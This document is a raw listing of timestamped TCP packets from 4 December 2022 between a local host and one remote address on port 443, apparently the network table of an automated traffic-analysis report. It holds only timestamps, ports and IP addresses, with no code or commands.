                                                                                                                                                  Dec 4, 2022 12:05:57.380285025 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.380398035 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.380481005 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.380523920 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.380554914 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.380592108 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.380671024 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.380683899 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414057016 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414151907 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414249897 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.414279938 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414304972 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.414602041 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414717913 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.414726019 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414894104 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.414968014 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.414975882 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.415193081 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.415266037 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.415272951 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.415685892 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.415771961 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.415776968 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.416220903 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.416292906 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.416299105 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.447844982 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.447977066 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.447999001 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.449655056 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450001001 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450103045 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450130939 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450193882 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450242043 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450309038 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450366974 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450424910 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450479984 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450542927 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450587034 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450645924 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.450695992 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.450746059 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.465617895 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.465636015 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.465742111 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.551867008 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.551920891 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.551949024 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.551954985 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.552145958 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.552159071 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.552258015 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.697448969 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.697488070 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.697623014 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.729238033 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.729291916 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.729321957 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.729515076 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.827545881 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.827581882 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.827708960 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.903893948 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.903956890 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.904022932 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.904273987 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.904330015 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.996114016 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:57.996148109 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:57.996289968 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.017884016 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.017914057 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.017998934 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.018039942 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.018129110 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.112616062 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.112648964 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.112806082 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.149950981 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.149986982 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.150010109 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.150197983 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.150258064 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.239927053 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.239974976 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.240133047 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.292727947 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.292762995 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.292782068 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.292876005 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.292954922 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.366493940 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.366559982 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.366755009 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.422132969 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.422183990 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.422204018 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.422300100 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.422388077 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.501763105 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.501797915 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.502099991 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.548537016 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.548576117 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.548602104 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.548712969 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.548806906 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.648519993 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.648572922 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.648731947 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.688091993 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.688136101 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.688155890 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.688323975 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.688361883 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.769615889 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.769658089 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.769861937 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.826687098 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.826747894 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.826786995 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.827001095 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.827152014 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.881161928 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.881228924 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.881421089 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.936311960 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.936345100 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.936364889 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:58.936496973 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:58.936570883 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.108673096 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.108711004 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:59.108860970 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.214308023 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.214342117 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:59.214356899 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:59.214447021 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.214540005 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.418905973 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:59.459408045 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.474287987 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.474335909 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:59.474474907 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:05:59.682957888 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:05:59.683114052 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.085930109 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.085966110 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.086277008 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.086296082 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.086318970 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.086371899 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.086384058 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.086386919 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.086457014 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.290918112 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.291021109 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.609268904 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.609314919 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.609338045 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.609400034 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.609414101 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.609452009 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.609503984 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:00.814935923 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:00.815021992 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.246902943 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.247121096 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.495145082 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.495212078 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.495248079 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.495270967 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.495304108 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.495326996 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.495357990 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.495376110 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.495419979 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.495444059 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.495502949 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.538217068 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:01.746947050 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:01.747119904 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:02.170948029 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:02.171134949 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:03.035020113 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:03.035284996 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:04.731050968 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:04.731266975 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.216084003 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.216150999 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.216172934 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.216294050 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.216319084 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.216332912 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.216406107 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.216442108 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250406981 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250449896 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250482082 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250494957 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250566006 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250608921 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250636101 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250654936 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250675917 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250685930 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.250700951 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250714064 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250736952 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.250756025 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.454920053 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.454983950 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:06.878906012 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:06.879024982 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:07.710921049 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:07.711083889 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:08.659018040 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:08.659090042 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:08.659178972 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:08.966589928 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:08.966650009 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.069783926 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.069998026 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.106755018 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.106800079 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.107213020 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.210319996 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.309129953 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.309166908 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.343692064 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.343791008 CET4434970293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.343869925 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.344451904 CET49702443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.345702887 CET49703443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.345772028 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.345892906 CET49703443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.346256018 CET49703443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.346287012 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.374922037 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.375149965 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.448579073 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.454176903 CET49703443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.454241991 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.516779900 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.516863108 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.516984940 CET49703443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:09.517019033 CET4434970393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:09.530868053 CET49703443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:11.816942930 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:11.816992044 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:11.817012072 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:11.817117929 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:11.817127943 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:11.817291975 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.022916079 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.116811991 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.338903904 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.338989973 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.352758884 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.352824926 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.352900028 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.362394094 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.362423897 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383688927 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383735895 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383754015 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383805990 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383810043 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383841038 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383853912 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383867025 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383877993 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383887053 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383900881 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383902073 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383909941 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383922100 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383929014 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383945942 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383953094 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383960962 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.383972883 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.383996964 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.384037018 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.461889982 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.461925983 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.462012053 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.462023973 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.462049961 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.462059975 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.462131023 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.463474989 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.464608908 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.464623928 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.465224028 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.486394882 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.486423969 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.521461010 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.521506071 CET4434970193.93.131.124192.168.2.3
